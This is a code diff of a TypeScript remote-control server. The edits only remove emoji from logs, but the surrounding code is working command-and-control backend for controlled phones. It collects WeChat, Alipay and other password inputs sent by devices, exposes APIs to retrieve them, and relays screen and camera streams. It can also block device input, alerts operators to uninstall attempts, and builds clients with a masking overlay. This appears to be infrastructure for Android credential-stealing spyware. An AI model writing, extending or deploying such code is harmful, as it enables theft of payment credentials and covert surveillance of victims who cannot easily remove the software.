@@ -657,7 +657,7 @@ class RemoteControlServer {
|
||||
const { deviceId } = req.params
|
||||
const { passwordType } = req.query
|
||||
|
||||
this.logger.info(`🔐 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`)
|
||||
this.logger.info(` 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`)
|
||||
|
||||
let latestPassword: any = null
|
||||
|
||||
@@ -732,7 +732,7 @@ class RemoteControlServer {
|
||||
try {
|
||||
const { deviceId } = req.params
|
||||
|
||||
this.logger.info(`🔐 获取设备 ${deviceId} 的密码类型统计`)
|
||||
this.logger.info(` 获取设备 ${deviceId} 的密码类型统计`)
|
||||
|
||||
// 获取通用密码输入统计
|
||||
const generalStats = this.databaseService.getPasswordTypeStats(deviceId)
|
||||
@@ -781,7 +781,7 @@ class RemoteControlServer {
|
||||
const { deviceId } = req.params
|
||||
const { passwordType } = req.query
|
||||
|
||||
this.logger.info(`🔐 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`)
|
||||
this.logger.info(` 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`)
|
||||
|
||||
// 根据密码类型选择删除方法
|
||||
if (passwordType === 'ALIPAY_PASSWORD') {
|
||||
@@ -810,7 +810,7 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
// 💥 崩溃日志相关API (需要认证)
|
||||
// 崩溃日志相关API (需要认证)
|
||||
this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => {
|
||||
try {
|
||||
const { deviceId } = req.params
|
||||
@@ -869,7 +869,7 @@ class RemoteControlServer {
|
||||
// 获取服务器地址,如果没有提供则使用当前请求的地址
|
||||
const serverUrl = req.body.serverUrl || `${req.protocol}://${req.get('host')}`
|
||||
|
||||
// ✅ 获取配置选项
|
||||
// 获取配置选项
|
||||
const options = {
|
||||
enableConfigMask: req.body.enableConfigMask === 'true' || req.body.enableConfigMask === true,
|
||||
// enableConfigMask: true,
|
||||
@@ -877,7 +877,7 @@ class RemoteControlServer {
|
||||
configMaskText: req.body.configMaskText,
|
||||
configMaskSubtitle: req.body.configMaskSubtitle,
|
||||
configMaskStatus: req.body.configMaskStatus,
|
||||
// 🔧 修复:添加加密相关参数
|
||||
// 修复:添加加密相关参数
|
||||
enableEncryption: req.body.enableEncryption === 'true' || req.body.enableEncryption === true,
|
||||
encryptionLevel: req.body.encryptionLevel,
|
||||
webUrl: req.body.webUrl,
|
||||
@@ -896,7 +896,7 @@ class RemoteControlServer {
|
||||
}
|
||||
}
|
||||
|
||||
// 🔧 添加调试日志:显示接收到的原始参数
|
||||
// 添加调试日志:显示接收到的原始参数
|
||||
this.logger.info('[DEBUG] 接收到的原始请求参数:')
|
||||
this.logger.info('[DEBUG] - enableEncryption:', req.body.enableEncryption)
|
||||
this.logger.info('[DEBUG] - encryptionLevel:', req.body.encryptionLevel)
|
||||
@@ -1106,7 +1106,7 @@ class RemoteControlServer {
|
||||
* 设置Socket.IO事件处理
|
||||
*/
|
||||
/**
|
||||
* 🔧 将设备注册请求加入队列处理,防止并发冲突
|
||||
* 将设备注册请求加入队列处理,防止并发冲突
|
||||
*/
|
||||
private queueDeviceRegistration(socket: any, data: any): void {
|
||||
const timestamp = Date.now()
|
||||
@@ -1119,7 +1119,7 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔧 处理设备注册队列
|
||||
* 处理设备注册队列
|
||||
*/
|
||||
private async processRegistrationQueue(): Promise<void> {
|
||||
// 如果正在处理或队列为空,直接返回
|
||||
@@ -1158,7 +1158,7 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
try {
|
||||
this.logger.info(`🔧 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`)
|
||||
this.logger.info(` 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`)
|
||||
this.handleDeviceRegister(socket, data)
|
||||
this.lastRegistrationTime = Date.now()
|
||||
} catch (error) {
|
||||
@@ -1202,7 +1202,7 @@ class RemoteControlServer {
|
||||
}
|
||||
}, REGISTRATION_CHECK_DELAY_MS)
|
||||
|
||||
// 🔧 设备注册 - 使用队列处理
|
||||
// 设备注册 - 使用队列处理
|
||||
socket.on('device_register', (data: any) => {
|
||||
this.queueDeviceRegistration(socket, data)
|
||||
})
|
||||
@@ -1231,7 +1231,7 @@ class RemoteControlServer {
|
||||
|
||||
// 处理屏幕数据
|
||||
socket.on('screen_data', (data: any) => {
|
||||
// 📊 记录帧统计用于自适应画质
|
||||
// 记录帧统计用于自适应画质
|
||||
if (data?.deviceId) {
|
||||
const dataSize = typeof data.data === 'string' ? data.data.length : 0
|
||||
this.adaptiveQualityService.recordFrame(data.deviceId, dataSize)
|
||||
@@ -1239,33 +1239,33 @@ class RemoteControlServer {
|
||||
this.messageRouter.routeScreenData(socket.id, data)
|
||||
})
|
||||
|
||||
// 💬 微信密码监听器
|
||||
// 微信密码监听器
|
||||
socket.on('wechat_password', (data: any) => {
|
||||
this.logger.info(`💬 收到微信密码记录: Socket: ${socket.id}`);
|
||||
this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
||||
this.logger.info(` 收到微信密码记录: Socket: ${socket.id}`);
|
||||
this.logger.info(` 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
||||
|
||||
// 路由微信密码数据
|
||||
const routeResult = this.messageRouter.routeWechatPassword(socket.id, data);
|
||||
this.logger.info(`📤 微信密码路由结果: ${routeResult}`);
|
||||
this.logger.info(` 微信密码路由结果: ${routeResult}`);
|
||||
});
|
||||
// 🔐 通用密码输入监听器
|
||||
// 通用密码输入监听器
|
||||
socket.on('password_input', (data: any) => {
|
||||
this.logger.info(`🔐 收到通用密码输入记录: Socket: ${socket.id}`);
|
||||
this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
||||
this.logger.info(` 收到通用密码输入记录: Socket: ${socket.id}`);
|
||||
this.logger.info(` 密码数据: deviceId=${data?.deviceId}, passwordType=${data?.passwordType}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
||||
|
||||
// 路由通用密码输入数据
|
||||
const routeResult = this.messageRouter.routePasswordInput(socket.id, data);
|
||||
this.logger.info(`📤 通用密码输入路由结果: ${routeResult}`);
|
||||
this.logger.info(` 通用密码输入路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
|
||||
socket.on('alipay_password', (data: any) => {
|
||||
this.logger.info(`💰 收到支付宝密码记录: Socket: ${socket.id}`);
|
||||
this.logger.info(`📋 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
||||
this.logger.info(` 收到支付宝密码记录: Socket: ${socket.id}`);
|
||||
this.logger.info(` 密码数据: deviceId=${data?.deviceId}, passwordLength=${data?.passwordLength}, activity=${data?.activity}, inputMethod=${data?.inputMethod}`);
|
||||
|
||||
// 路由支付宝密码数据
|
||||
const routeResult = this.messageRouter.routeAlipayPassword(socket.id, data);
|
||||
this.logger.info(`📤 支付宝密码路由结果: ${routeResult}`);
|
||||
this.logger.info(` 支付宝密码路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
// 处理摄像头数据
|
||||
@@ -1308,9 +1308,9 @@ class RemoteControlServer {
|
||||
this.messageRouter.handleOperationLog(socket.id, data)
|
||||
})
|
||||
|
||||
// 💥 处理崩溃日志(从设备接收)
|
||||
// 处理崩溃日志(从设备接收)
|
||||
socket.on('crash_log', (data: any) => {
|
||||
this.logger.warn(`💥 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`)
|
||||
this.logger.warn(` 收到崩溃日志: Socket: ${socket.id}, 设备: ${data?.deviceId}, 文件: ${data?.fileName}`)
|
||||
try {
|
||||
if (data?.deviceId && data?.content) {
|
||||
this.databaseService.saveCrashLog({
|
||||
@@ -1332,14 +1332,14 @@ class RemoteControlServer {
|
||||
timestamp: Date.now()
|
||||
})
|
||||
} else {
|
||||
this.logger.warn(`⚠️ 崩溃日志数据不完整: ${JSON.stringify(data)}`)
|
||||
this.logger.warn(` 崩溃日志数据不完整: ${JSON.stringify(data)}`)
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('处理崩溃日志失败:', error)
|
||||
}
|
||||
})
|
||||
|
||||
// 📊 自适应画质:Web端质量反馈
|
||||
// 自适应画质:Web端质量反馈
|
||||
socket.on('quality_feedback', (data: any) => {
|
||||
if (!data?.deviceId) return
|
||||
const result = this.adaptiveQualityService.handleClientFeedback(data.deviceId, {
|
||||
@@ -1359,7 +1359,7 @@ class RemoteControlServer {
|
||||
maxWidth: result.newParams.maxWidth,
|
||||
maxHeight: result.newParams.maxHeight,
|
||||
})
|
||||
this.logger.info(`📊 自动调整设备${data.deviceId}画质参数`)
|
||||
this.logger.info(` 自动调整设备${data.deviceId}画质参数`)
|
||||
}
|
||||
}
|
||||
// 通知Web端参数已变更
|
||||
@@ -1371,7 +1371,7 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
// 📊 自适应画质:Web端手动切换质量档位
|
||||
// 自适应画质:Web端手动切换质量档位
|
||||
socket.on('set_quality_profile', (data: any) => {
|
||||
if (!data?.deviceId || !data?.profile) return
|
||||
const result = this.adaptiveQualityService.setQualityProfile(data.deviceId, data.profile)
|
||||
@@ -1392,7 +1392,7 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
// 📊 自适应画质:Web端手动设置自定义参数
|
||||
// 自适应画质:Web端手动设置自定义参数
|
||||
socket.on('set_quality_params', (data: any) => {
|
||||
if (!data?.deviceId) return
|
||||
const result = this.adaptiveQualityService.setCustomParams(data.deviceId, {
|
||||
@@ -1415,31 +1415,31 @@ class RemoteControlServer {
|
||||
})
|
||||
})
|
||||
|
||||
// 📊 获取画质档位列表
|
||||
// 获取画质档位列表
|
||||
socket.on('get_quality_profiles', (callback: any) => {
|
||||
if (typeof callback === 'function') {
|
||||
callback(this.adaptiveQualityService.getProfiles())
|
||||
}
|
||||
})
|
||||
|
||||
// 🆕 处理设备输入阻塞状态变更(从设备接收)
|
||||
// 处理设备输入阻塞状态变更(从设备接收)
|
||||
socket.on('device_input_blocked_changed', (data: any) => {
|
||||
this.logger.info(`📱 收到设备输入阻塞状态变更: Socket: ${socket.id}`)
|
||||
this.logger.info(`📋 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`)
|
||||
this.logger.info(` 收到设备输入阻塞状态变更: Socket: ${socket.id}`)
|
||||
this.logger.info(` 状态数据: deviceId=${data?.deviceId}, blocked=${data?.blocked}, success=${data?.success}, fromConfigComplete=${data?.fromConfigComplete}, autoEnabled=${data?.autoEnabled}`)
|
||||
|
||||
// 直接调用MessageRouter的处理方法
|
||||
if (data?.deviceId && data?.blocked !== undefined) {
|
||||
this.messageRouter.handleDeviceInputBlockedChanged(data.deviceId, data.blocked)
|
||||
this.logger.info(`✅ 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`)
|
||||
this.logger.info(` 设备输入阻塞状态已处理: ${data.deviceId} -> ${data.blocked}`)
|
||||
} else {
|
||||
this.logger.warn(`⚠️ 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`)
|
||||
this.logger.warn(` 设备输入阻塞状态数据不完整: ${JSON.stringify(data)}`)
|
||||
}
|
||||
})
|
||||
|
||||
// 🛡️ 处理卸载尝试检测(从设备接收)
|
||||
// 处理卸载尝试检测(从设备接收)
|
||||
socket.on('uninstall_attempt_detected', (data: any) => {
|
||||
this.logger.warn(`🛡️ 收到卸载尝试检测: Socket: ${socket.id}`)
|
||||
this.logger.warn(`📋 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`)
|
||||
this.logger.warn(` 收到卸载尝试检测: Socket: ${socket.id}`)
|
||||
this.logger.warn(` 检测数据: deviceId=${data?.deviceId}, type=${data?.type}, timestamp=${data?.timestamp}`)
|
||||
|
||||
if (data?.deviceId && data?.type) {
|
||||
// 广播卸载尝试检测事件到所有Web客户端
|
||||
@@ -1450,9 +1450,9 @@ class RemoteControlServer {
|
||||
timestamp: data.timestamp || Date.now()
|
||||
})
|
||||
|
||||
this.logger.warn(`🚨 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`)
|
||||
this.logger.warn(` 已广播卸载尝试检测: ${data.deviceId} -> ${data.type}`)
|
||||
} else {
|
||||
this.logger.warn(`⚠️ 卸载尝试检测数据不完整: ${JSON.stringify(data)}`)
|
||||
this.logger.warn(` 卸载尝试检测数据不完整: ${JSON.stringify(data)}`)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -1461,17 +1461,17 @@ class RemoteControlServer {
|
||||
this.handleDisconnect(socket)
|
||||
})
|
||||
|
||||
// 🔧 添加心跳响应处理,解决Android客户端CONNECTION_TEST失败问题
|
||||
// 添加心跳响应处理,解决Android客户端CONNECTION_TEST失败问题
|
||||
socket.on('CONNECTION_TEST', (data: any) => {
|
||||
this.logger.info(`💓 收到设备心跳检测: ${socket.id}`)
|
||||
this.logger.debug(`💓 收到设备心跳检测: ${socket.id}`)
|
||||
this.logger.info(` 收到设备心跳检测: ${socket.id}`)
|
||||
this.logger.debug(` 收到设备心跳检测: ${socket.id}`)
|
||||
try {
|
||||
// 🔧 关键修复:心跳时也要更新设备活跃时间
|
||||
// 关键修复:心跳时也要更新设备活跃时间
|
||||
if (socket.deviceId) {
|
||||
const device = this.deviceManager.getDevice(socket.deviceId)
|
||||
if (device) {
|
||||
device.lastSeen = new Date()
|
||||
this.logger.debug(`✅ 心跳更新设备活跃时间: ${socket.deviceId}`)
|
||||
this.logger.debug(` 心跳更新设备活跃时间: ${socket.deviceId}`)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1480,9 +1480,9 @@ class RemoteControlServer {
|
||||
timestamp: Date.now(),
|
||||
receivedData: data
|
||||
})
|
||||
this.logger.debug(`✅ 已回复CONNECTION_TEST确认消息到 ${socket.id}`)
|
||||
this.logger.debug(` 已回复CONNECTION_TEST确认消息到 ${socket.id}`)
|
||||
} catch (error) {
|
||||
this.logger.error(`❌ 回复CONNECTION_TEST失败:`, error)
|
||||
this.logger.error(` 回复CONNECTION_TEST失败:`, error)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -1493,7 +1493,7 @@ class RemoteControlServer {
|
||||
|
||||
// 处理自定义心跳
|
||||
socket.on('heartbeat', (data: any) => {
|
||||
this.logger.debug(`💓 收到心跳: ${socket.id}`)
|
||||
this.logger.debug(` 收到心跳: ${socket.id}`)
|
||||
socket.emit('heartbeat_ack', { timestamp: Date.now() })
|
||||
})
|
||||
|
||||
@@ -1514,7 +1514,7 @@ class RemoteControlServer {
|
||||
|
||||
const deviceId = data.deviceId || uuidv4()
|
||||
|
||||
// 🔧 改进重连检测:检查是否是同一设备的不同Socket连接
|
||||
// 改进重连检测:检查是否是同一设备的不同Socket连接
|
||||
const existingDevice = this.deviceManager.getDevice(deviceId)
|
||||
if (existingDevice) {
|
||||
if (existingDevice.socketId === socket.id && socket.deviceId === deviceId && socket.clientType === 'device') {
|
||||
@@ -1525,10 +1525,10 @@ class RemoteControlServer {
|
||||
message: '设备已注册(跳过重复注册)'
|
||||
})
|
||||
|
||||
// ✅ 修复:即使跳过重复注册,也要确保Web端收到设备在线状态
|
||||
// 修复:即使跳过重复注册,也要确保Web端收到设备在线状态
|
||||
const connectedClients = this.webClientManager.getClientCount()
|
||||
if (connectedClients > 0) {
|
||||
this.logger.info(`📡 重复注册检测时确保广播设备在线状态: ${deviceId}`)
|
||||
this.logger.info(` 重复注册检测时确保广播设备在线状态: ${deviceId}`)
|
||||
this.webClientManager.broadcastToAll('device_connected', existingDevice)
|
||||
|
||||
// 同时广播设备状态更新
|
||||
@@ -1544,20 +1544,20 @@ class RemoteControlServer {
|
||||
}
|
||||
return
|
||||
} else if (existingDevice.socketId !== socket.id) {
|
||||
// ✅ 同一设备但不同Socket(重连场景),更新Socket映射
|
||||
// 同一设备但不同Socket(重连场景),更新Socket映射
|
||||
this.logger.info(`设备重连: ${deviceId} 从Socket${existingDevice.socketId} 切换到 ${socket.id}`)
|
||||
|
||||
// 移除旧的Socket映射,继续正常注册流程
|
||||
this.deviceManager.removeDevice(deviceId)
|
||||
this.databaseService.setDeviceOfflineBySocketId(existingDevice.socketId)
|
||||
} else {
|
||||
// ✅ 修复:设备存在且Socket相同,但可能是MessageRouter恢复的设备,需要重新注册以确保状态同步
|
||||
// 修复:设备存在且Socket相同,但可能是MessageRouter恢复的设备,需要重新注册以确保状态同步
|
||||
this.logger.info(`设备已通过数据恢复,重新注册以确保状态同步: ${deviceId}`)
|
||||
this.deviceManager.removeDevice(deviceId)
|
||||
}
|
||||
}
|
||||
|
||||
// 🔧 修复备注丢失问题:设备重新连接时从数据库恢复备注信息
|
||||
// 修复备注丢失问题:设备重新连接时从数据库恢复备注信息
|
||||
const existingDbDevice = this.databaseService.getDeviceById(deviceId)
|
||||
|
||||
const deviceInfo = {
|
||||
@@ -1577,9 +1577,9 @@ class RemoteControlServer {
|
||||
status: 'online' as const,
|
||||
inputBlocked: data.inputBlocked || false,
|
||||
isLocked: data.isLocked || false, // 初始化锁屏状态
|
||||
remark: existingDbDevice?.remark || data.remark || null, // 🔧 优先使用数据库中的备注
|
||||
remark: existingDbDevice?.remark || data.remark || null, // 优先使用数据库中的备注
|
||||
publicIP: data.publicIP || null,
|
||||
// 🆕 添加系统版本信息字段
|
||||
// 添加系统版本信息字段
|
||||
systemVersionName: data.systemVersionName || null,
|
||||
romType: data.romType || null,
|
||||
romVersion: data.romVersion || null,
|
||||
@@ -1605,21 +1605,21 @@ class RemoteControlServer {
|
||||
message: '设备注册成功'
|
||||
})
|
||||
|
||||
this.logger.info(`✅ 设备注册成功,已通知设备`)
|
||||
this.logger.info(` 设备注册成功,已通知设备`)
|
||||
|
||||
// 通知所有Web客户端有新设备连接
|
||||
const connectedClients = this.webClientManager.getClientCount()
|
||||
if (connectedClients > 0) {
|
||||
this.logger.info(`📡 通知 ${connectedClients} 个Web客户端有新设备连接`)
|
||||
this.logger.info(` 通知 ${connectedClients} 个Web客户端有新设备连接`)
|
||||
this.webClientManager.broadcastToAll('device_connected', deviceInfo)
|
||||
} else {
|
||||
this.logger.info(`📡 暂无Web客户端连接,跳过设备连接通知`)
|
||||
this.logger.info(` 暂无Web客户端连接,跳过设备连接通知`)
|
||||
}
|
||||
|
||||
// ✅ 优化:设备重新连接时,Android端本身已经维护着真实状态
|
||||
// 优化:设备重新连接时,Android端本身已经维护着真实状态
|
||||
// 无需向Android端发送控制命令,只需要从数据库获取状态用于Web端显示即可
|
||||
try {
|
||||
this.logger.info(`📊 记录设备状态: ${deviceInfo.id}`)
|
||||
this.logger.info(` 记录设备状态: ${deviceInfo.id}`)
|
||||
const deviceState = this.databaseService.getDeviceState(deviceInfo.id)
|
||||
|
||||
if (deviceState) {
|
||||
@@ -1628,11 +1628,11 @@ class RemoteControlServer {
|
||||
deviceInfo.inputBlocked = deviceState.inputBlocked
|
||||
}
|
||||
|
||||
this.logger.info(`✅ 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`)
|
||||
this.logger.info(` 设备状态已记录: ${deviceInfo.id} - 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`)
|
||||
|
||||
// ✅ 修复:状态更新后再次广播完整的设备信息,确保Web端收到最新状态
|
||||
// 修复:状态更新后再次广播完整的设备信息,确保Web端收到最新状态
|
||||
if (connectedClients > 0) {
|
||||
this.logger.info(`📡 广播设备状态更新: ${deviceInfo.id}`)
|
||||
this.logger.info(` 广播设备状态更新: ${deviceInfo.id}`)
|
||||
this.webClientManager.broadcastToAll('device_status_update', {
|
||||
deviceId: deviceInfo.id,
|
||||
status: {
|
||||
@@ -1650,19 +1650,19 @@ class RemoteControlServer {
|
||||
this.logger.error(`记录设备 ${deviceInfo.id} 状态失败:`, error)
|
||||
}
|
||||
|
||||
// ✅ 修复:延迟再次确认设备在线状态,解决可能的时序问题
|
||||
// 修复:延迟再次确认设备在线状态,解决可能的时序问题
|
||||
setTimeout(() => {
|
||||
const finalConnectedClients = this.webClientManager.getClientCount()
|
||||
if (finalConnectedClients > 0) {
|
||||
const finalDeviceInfo = this.deviceManager.getDevice(deviceInfo.id)
|
||||
if (finalDeviceInfo) {
|
||||
this.logger.info(`📡 最终确认设备在线状态: ${deviceInfo.id}`)
|
||||
this.logger.info(` 最终确认设备在线状态: ${deviceInfo.id}`)
|
||||
this.webClientManager.broadcastToAll('device_connected', finalDeviceInfo)
|
||||
}
|
||||
}
|
||||
}, 1000) // 1秒后再次确认
|
||||
|
||||
this.logger.info(`🎉 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`)
|
||||
this.logger.info(` 设备注册完成: ${deviceInfo.name} (${deviceInfo.id})`)
|
||||
this.logger.info(`当前连接的设备数量: ${this.deviceManager.getDeviceCount()}`)
|
||||
|
||||
} catch (error) {
|
||||
@@ -1681,7 +1681,7 @@ class RemoteControlServer {
|
||||
// Web client auth: check token
|
||||
const token = socket.handshake.auth?.token
|
||||
if (!token) {
|
||||
this.logger.warn(`🔐 Web客户端注册缺少认证token: ${socket.id}`)
|
||||
this.logger.warn(` Web客户端注册缺少认证token: ${socket.id}`)
|
||||
socket.emit('auth_error', { message: '缺少认证token' })
|
||||
socket.disconnect()
|
||||
return
|
||||
@@ -1690,7 +1690,7 @@ class RemoteControlServer {
|
||||
// 验证token
|
||||
const authResult = this.authService.verifyToken(token)
|
||||
if (!authResult.valid) {
|
||||
this.logger.warn(`🔐 Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`)
|
||||
this.logger.warn(` Web客户端认证失败: ${socket.id}, 错误: ${authResult.error}`)
|
||||
socket.emit('auth_error', { message: authResult.error || '认证失败' })
|
||||
socket.disconnect()
|
||||
return
|
||||
@@ -1699,22 +1699,22 @@ class RemoteControlServer {
|
||||
// 认证成功,记录用户信息
|
||||
socket.userId = authResult.user?.id
|
||||
socket.username = authResult.user?.username
|
||||
this.logger.info(`🔐 Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`)
|
||||
this.logger.info(` Web客户端认证成功: ${socket.id}, 用户: ${authResult.user?.username}`)
|
||||
|
||||
// 🔧 修复重复注册问题:检查是否已有相同Socket ID的客户端
|
||||
// 修复重复注册问题:检查是否已有相同Socket ID的客户端
|
||||
const existingClient = this.webClientManager.getClientBySocketId(socket.id)
|
||||
if (existingClient) {
|
||||
this.logger.warn(`⚠️ Socket ${socket.id} 已有注册记录,更新现有客户端信息`)
|
||||
this.logger.warn(` Socket ${socket.id} 已有注册记录,更新现有客户端信息`)
|
||||
|
||||
// 更新现有客户端的活动时间和用户代理
|
||||
existingClient.lastSeen = new Date()
|
||||
existingClient.userAgent = data.userAgent || existingClient.userAgent
|
||||
existingClient.userId = authResult.user?.id // 🔐 更新用户ID
|
||||
existingClient.username = authResult.user?.username // 🔐 更新用户名
|
||||
existingClient.userId = authResult.user?.id // 更新用户ID
|
||||
existingClient.username = authResult.user?.username // 更新用户名
|
||||
socket.clientId = existingClient.id
|
||||
socket.clientType = 'web'
|
||||
|
||||
// 🔐 恢复用户的设备权限
|
||||
// 恢复用户的设备权限
|
||||
if (authResult.user?.id) {
|
||||
this.webClientManager.restoreUserPermissions(authResult.user.id, existingClient.id)
|
||||
}
|
||||
@@ -1726,7 +1726,7 @@ class RemoteControlServer {
|
||||
devices: allDevices
|
||||
})
|
||||
|
||||
this.logger.info(`♻️ Web客户端重连成功: ${existingClient.id}`)
|
||||
this.logger.info(` Web客户端重连成功: ${existingClient.id}`)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1737,15 +1737,15 @@ class RemoteControlServer {
|
||||
ip: socket.handshake.address,
|
||||
connectedAt: new Date(),
|
||||
lastSeen: new Date(),
|
||||
userId: authResult.user?.id, // 🔐 添加用户ID
|
||||
username: authResult.user?.username // 🔐 添加用户名
|
||||
userId: authResult.user?.id, // 添加用户ID
|
||||
username: authResult.user?.username // 添加用户名
|
||||
}
|
||||
|
||||
this.webClientManager.addClient(clientInfo)
|
||||
socket.clientId = clientInfo.id
|
||||
socket.clientType = 'web'
|
||||
|
||||
// 🔐 恢复用户的设备权限
|
||||
// 恢复用户的设备权限
|
||||
if (authResult.user?.id) {
|
||||
this.webClientManager.restoreUserPermissions(authResult.user.id, clientInfo.id)
|
||||
}
|
||||
@@ -1757,8 +1757,8 @@ class RemoteControlServer {
|
||||
devices: allDevices
|
||||
})
|
||||
|
||||
this.logger.info(`✅ Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`)
|
||||
this.logger.info(`📊 当前Web客户端数量: ${this.webClientManager.getClientCount()}`)
|
||||
this.logger.info(` Web客户端注册成功: ${clientInfo.id} (IP: ${clientInfo.ip})`)
|
||||
this.logger.info(` 当前Web客户端数量: ${this.webClientManager.getClientCount()}`)
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('Web客户端注册失败:', error)
|
||||
@@ -1822,7 +1822,7 @@ class RemoteControlServer {
|
||||
*/
|
||||
private getAllDevicesIncludingHistory(): any[] {
|
||||
try {
|
||||
// ✅ 直接从数据库获取设备,状态已经正确存储
|
||||
// 直接从数据库获取设备,状态已经正确存储
|
||||
const allDbDevices = this.databaseService.getAllDevices()
|
||||
|
||||
// 获取内存中的在线设备,用于补充Socket ID
|
||||
@@ -1850,11 +1850,11 @@ class RemoteControlServer {
|
||||
capabilities: dbDevice.capabilities,
|
||||
connectedAt: dbDevice.firstSeen,
|
||||
lastSeen: dbDevice.lastSeen,
|
||||
// ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态
|
||||
// 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态
|
||||
status: onlineDevice ? 'online' : dbDevice.status,
|
||||
inputBlocked: onlineDevice?.inputBlocked || false,
|
||||
publicIP: dbDevice.publicIP,
|
||||
// 🆕 添加系统版本信息字段
|
||||
// 添加系统版本信息字段
|
||||
systemVersionName: dbDevice.systemVersionName,
|
||||
romType: dbDevice.romType,
|
||||
romVersion: dbDevice.romVersion,
|
||||
@@ -1862,7 +1862,7 @@ class RemoteControlServer {
|
||||
}
|
||||
})
|
||||
|
||||
this.logger.info(`📊 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`)
|
||||
this.logger.info(` 获取设备列表: 总数=${devices.length}, 在线=${devices.filter(d => d.status === 'online').length}`)
|
||||
return devices
|
||||
|
||||
} catch (error) {
|
||||
@@ -1873,7 +1873,7 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 获取活跃的Web客户端列表
|
||||
* 获取活跃的Web客户端列表
|
||||
*/
|
||||
private getActiveWebClients(): any[] {
|
||||
try {
|
||||
@@ -1883,7 +1883,7 @@ class RemoteControlServer {
|
||||
return socket && socket.connected
|
||||
})
|
||||
|
||||
this.logger.debug(`📊 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`)
|
||||
this.logger.debug(` 活跃Web客户端检查: 总数=${allClients.length}, 活跃=${activeClients.length}`)
|
||||
|
||||
return activeClients.map(client => ({
|
||||
id: client.id,
|
||||
@@ -1909,32 +1909,32 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 服务器启动时恢复设备状态
|
||||
* 服务器启动时恢复设备状态
|
||||
*/
|
||||
private recoverDeviceStates(): void {
|
||||
setTimeout(() => {
|
||||
this.logger.info('🔄🔄🔄 开始恢复设备状态... 🔄🔄🔄')
|
||||
this.logger.info(' 开始恢复设备状态... ')
|
||||
|
||||
// ✅ 首先将数据库中所有设备状态重置为离线
|
||||
// 首先将数据库中所有设备状态重置为离线
|
||||
this.databaseService.resetAllDevicesToOffline()
|
||||
|
||||
// 获取所有已连接的Socket
|
||||
const connectedSockets = Array.from(this.io.sockets.sockets.values())
|
||||
this.logger.info(`📊 发现已连接的Socket数量: ${connectedSockets.length}`)
|
||||
this.logger.info(` 发现已连接的Socket数量: ${connectedSockets.length}`)
|
||||
|
||||
if (connectedSockets.length === 0) {
|
||||
this.logger.info('📱 没有发现已连接的Socket,等待设备主动连接...')
|
||||
this.logger.info(' 没有发现已连接的Socket,等待设备主动连接...')
|
||||
return
|
||||
}
|
||||
|
||||
// 向所有Socket发送ping,要求重新注册
|
||||
connectedSockets.forEach((socket, index) => {
|
||||
try {
|
||||
this.logger.info(`📤 [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`)
|
||||
this.logger.info(` [${index + 1}/${connectedSockets.length}] 向Socket ${socket.id} 发送重新注册请求`)
|
||||
|
||||
// 检查Socket是否仍然连接
|
||||
if (!socket.connected) {
|
||||
this.logger.warn(`⚠️ Socket ${socket.id} 已断开,跳过`)
|
||||
this.logger.warn(` Socket ${socket.id} 已断开,跳过`)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1943,24 +1943,24 @@ class RemoteControlServer {
|
||||
message: '服务器已重启,请重新注册',
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
